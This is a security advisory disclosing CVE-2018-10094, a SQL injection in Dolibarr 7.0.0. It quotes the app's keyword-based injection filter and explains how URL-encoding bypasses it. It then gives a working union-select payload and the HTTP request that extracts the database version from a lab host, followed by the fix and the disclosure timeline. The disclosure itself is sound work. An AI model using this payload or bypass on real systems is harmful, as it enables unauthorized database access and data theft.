1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 |
# [CVE-2018-10094] Dolibarr SQL Injection vulnerability ## Description Dolibarr is an "Open Source ERP & CRM for Business" used by many companies worldwide. It is available through [GitHub](https://github.com/Dolibarr/dolibarr) or as distribution packages (e.g .deb package). **Threat** The application does not handle user input properly and allows execution of arbitrary SQL commands on the database. **Expectation** Prepared queries should be used in order to avoid SQL injection in user input. ## Vulnerability type **CVE ID**: CVE-2018-10094 **Access Vector**: remote **Security Risk**: high **Vulnerability**: CWE-89 **CVSS Base Score**: 7.5 **CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N ## Details The database connector escapes quotes with the <code>real_escape_string() wrapper. However it is still possible to perform injection on integer parameters without quotes. </code><code>php mysqli.class.php /** *Escape a string to insert data * *@paramstring$stringtoencode String to escape *@return stringString escaped */ function escape($stringtoencode) { return $this->db->real_escape_string($stringtoencode); } </code><code> Additional checks are defined later, which forbit some SQL keywords (e.g union</code>, <code>create</code>, <code>insert</code>). However, by url encoding the payload, these checks are bypassed. </code><code>php main.inc.php /** * Security: SQL Injection and XSS Injection (scripts) protection (Filters on GET, POST, PHP_SELF). * * @param string$valValue * @param string$type 1=GET, 0=POST, 2=PHP_SELF * @returnint >0 if there is an injection */ function test_sql_and_script_inject($val, $type) { $inj = 0; // For SQL Injection (only GET are used to be included into bad escaped SQL requests) if ($type == 1) { $inj += preg_match('/updatexml\(/i', $val); $inj += preg_match('/delete\s+from/i', $val); $inj += preg_match('/create\s+table/i',$val); $inj += preg_match('/insert\s+into/i', $val); $inj += preg_match('/select\s+from/i', $val); $inj += preg_match('/into\s+(outfile|dumpfile)/i',$val); } if ($type != 2) // Not common, we can check on POST { $inj += preg_match('/update.+set.+=/i',$val); $inj += preg_match('/union.+select/i', $val); $inj += preg_match('/(\.\.%2f)+/i',$val); } // For XSS Injection done by adding javascript with script // This is all cases a browser consider text is javascript: // When it found '<script', 'javascript:', '<style', 'onload\s=' on body tag, '="&' on a tag size with old browsers // All examples on page: http://ha.ckers.org/xss.html#XSScalc // More on https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet $inj += preg_match('/<script/i', $val); $inj += preg_match('/<iframe/i', $val); $inj += preg_match('/Set\.constructor/i', $val);// ECMA script 6 if (! defined('NOSTYLECHECK')) $inj += preg_match('/<style/i', $val); $inj += preg_match('/base[\s]+href/si', $val); $inj += preg_match('/<.*onmouse/si', $val); // onmousexxx can be set on img or any html tag like <img title='...' onmouseover=alert(1)> $inj += preg_match('/onerror\s*=/i', $val); // onerror can be set on img or any html tag like <img title='...' onerror = alert(1)> $inj += preg_match('/onfocus\s*=/i', $val); // onfocus can be set on input text html tag like <input type='text' value='...' onfocus = alert(1)> $inj += preg_match('/onload\s*=/i', $val);// onload can be set on svg tag <svg/onload=alert(1)> or other tag like body <body onload=alert(1)> $inj += preg_match('/onclick\s*=/i', $val); // onclick can be set on img text html tag like <img onclick = alert(1)> $inj += preg_match('/onscroll\s*=/i', $val);// onscroll can be on textarea //$inj += preg_match('/on[A-Z][a-z]+\*=/', $val); // To lock event handlers onAbort(), ... $inj += preg_match('/:|:|:/i', $val); // refused string ':' encoded (no reason to have it encoded) to lock 'javascript:...' //if ($type == 1) //{ $inj += preg_match('/javascript:/i', $val); $inj += preg_match('/vbscript:/i', $val); //} // For XSS Injection done by adding javascript closing html tags like with onmousemove, etc... (closing a src or href tag with not cleaned param) if ($type == 1) $inj += preg_match('/"/i', $val); // We refused " in GET parameters value if ($type == 2) $inj += preg_match('/[;"]/', $val); // PHP_SELF is a file system path. It can contains spaces. return $inj; } </code><code> ## Proof of Concept : retrieving the database name. Payload: </code><code> 1) union select 0,1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# Url-encoded payload: %31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23 </code><code> </code><code>http GET /dolibarr/adherents/list.php?leftmenu=members&statut=%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%30%2c%31%2c%32%2c%76%65%72%73%69%6f%6e%28%29%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%23 HTTP/1.1 Host: dolibarr.lab:2080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: DOLSESSID_cac4a1e49e4040e845340fe919bd202b=qh3ot46kvm95ph0ddd3ujd7je5 Connection: close Upgrade-Insecure-Requests: 1 ... </a> </td> <td>10.1.26-MariaDB-0+deb9u1</td> <td>2</td> <td></td> <td>1</td> <td>21</td> <td class="nowrap"> </code><code> ## Affected versions * Version 7.0.0 (last stable version as of March 2018) - previous versions are probably also vulnerable but not tested ## Solution Update to 7.0.2 ([changelog](https://raw.githubusercontent.com/Dolibarr/dolibarr/develop/ChangeLog)) ## Timeline (dd/mm/yyyy) * 18/03/2018 : Initial discovery * 17/04/2018 : Contact with the editor * 17/04/2018 : Editor acknowledges the vulnerability * 18/04/2018 : Editor announces fixes in version 7.0.2 * 21/05/2018 : Vulnerability disclosure ## Credits * Issam RABHI (i dot rabhi at sysdream dot com) * Kevin LOCATI (k dot locati at sysdream dot com) -- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream |